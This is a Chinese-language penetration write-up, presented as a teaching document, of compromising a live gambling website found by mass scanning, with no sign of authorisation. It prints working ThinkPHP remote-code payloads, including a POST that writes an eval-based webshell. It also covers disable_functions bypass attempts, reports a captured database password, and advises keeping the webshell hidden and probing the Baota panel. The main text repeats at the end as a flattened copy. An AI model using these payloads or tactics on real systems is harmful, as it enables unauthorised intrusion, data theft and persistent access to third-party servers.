某BC站点getshell实录
字数 1077 2025-08-09 17:09:31

某BC站点getshell渗透实战教学文档

1. 信息收集阶段

1.1 目标发现

  • 通过批量爬取和扫描发现目标站点(BC类网站)
  • 使用目录扫描工具发现站点使用ThinkPHP框架
  • 获取到ThinkPHP的具体版本信息(关键突破口)

2. 漏洞验证阶段

2.1 初始尝试

  • 使用Goby工具验证ThinkPHP漏洞
  • 尝试直接替换系统命令函数失败
  • 测试eval、system等函数均被禁用

2.2 手工验证

  • 参考外部文章进行手工POC验证
  • 发现所有执行命令的POC都返回系统错误
  • 怀疑存在disable_functions限制

2.3 获取PHP信息

  • 使用Payload获取phpinfo信息:
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
    
  • 确认disable_functions禁用了大量危险函数

3. 文件写入突破

3.1 写入Webshell

  • 使用文件写入Payload:
    POST: s=file_put_contents('test.php','<?php eval($_POST);')&_method=__construct&method=POST&filter[]=assert
    
  • 成功写入Webshell文件test.php
  • 获得有限权限:可查看网站文件但无法执行系统命令

3.2 信息收集

  • 发现数据库密码(非root权限)
  • 确认环境:Nginx、PHP5.6、Linux、宝塔面板搭建

4. 权限提升尝试

4.1 绕过disable_functions

  1. LD_PRELOAD方法

    • 原理:通过LD_PRELOAD环境变量加载恶意共享库
    • 问题:相关函数被禁用
    • 参考工具:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
  2. PHP-FPM方法

    • 原理:通过FastCGI协议与PHP-FPM通信
    • 测试结果:失败(环境限制)
  3. 其他方法尝试:

    • 因环境不支持或函数被禁用而失败

5. 总结与关键点

5.1 成功利用点

  • ThinkPHP框架漏洞利用
  • 文件写入绕过限制
  • 获取数据库访问权限

5.2 限制因素

  • 严格的disable_functions配置
  • 宝塔面板的安全加固
  • 非root数据库权限

5.3 可能的改进方向

  • 尝试其他Webshell写入方式
  • 研究特定版本的ThinkPHP漏洞
  • 寻找宝塔面板的已知漏洞
  • 数据库提权尝试(如有必要权限)

6. 技术要点总结

  1. ThinkPHP漏洞利用

    • 构造特殊参数利用框架缺陷
    • 注意_method、filter等关键参数
  2. 绕过disable_functions

    • 优先尝试文件操作而非命令执行
    • 多种方法需根据环境选择
  3. 权限维持

    • 写入Webshell时要考虑隐蔽性
    • 尝试多种文件路径
  4. 环境适应

    • 针对宝塔面板的特殊配置调整攻击方式
    • 注意PHP5.6版本的特性限制
某BC站点getshell渗透实战教学文档 1. 信息收集阶段 1.1 目标发现 通过批量爬取和扫描发现目标站点(BC类网站) 使用目录扫描工具发现站点使用ThinkPHP框架 获取到ThinkPHP的具体版本信息(关键突破口) 2. 漏洞验证阶段 2.1 初始尝试 使用Goby工具验证ThinkPHP漏洞 尝试直接替换系统命令函数失败 测试eval、system等函数均被禁用 2.2 手工验证 参考外部文章进行手工POC验证 发现所有执行命令的POC都返回系统错误 怀疑存在disable_ functions限制 2.3 获取PHP信息 使用Payload获取phpinfo信息: 确认disable_ functions禁用了大量危险函数 3. 文件写入突破 3.1 写入Webshell 使用文件写入Payload: 成功写入Webshell文件test.php 获得有限权限:可查看网站文件但无法执行系统命令 3.2 信息收集 发现数据库密码(非root权限) 确认环境:Nginx、PHP5.6、Linux、宝塔面板搭建 4. 权限提升尝试 4.1 绕过disable_ functions LD_ PRELOAD方法 原理:通过LD_ PRELOAD环境变量加载恶意共享库 问题:相关函数被禁用 参考工具:https://github.com/yangyangwithgnu/bypass_ disablefunc_ via_ LD_ PRELOAD PHP-FPM方法 原理:通过FastCGI协议与PHP-FPM通信 测试结果:失败(环境限制) 其他方法尝试: 因环境不支持或函数被禁用而失败 5. 总结与关键点 5.1 成功利用点 ThinkPHP框架漏洞利用 文件写入绕过限制 获取数据库访问权限 5.2 限制因素 严格的disable_ functions配置 宝塔面板的安全加固 非root数据库权限 5.3 可能的改进方向 尝试其他Webshell写入方式 研究特定版本的ThinkPHP漏洞 寻找宝塔面板的已知漏洞 数据库提权尝试(如有必要权限) 6. 技术要点总结 ThinkPHP漏洞利用 : 构造特殊参数利用框架缺陷 注意_ method、filter等关键参数 绕过disable_ functions : 优先尝试文件操作而非命令执行 多种方法需根据环境选择 权限维持 : 写入Webshell时要考虑隐蔽性 尝试多种文件路径 环境适应 : 针对宝塔面板的特殊配置调整攻击方式 注意PHP5.6版本的特性限制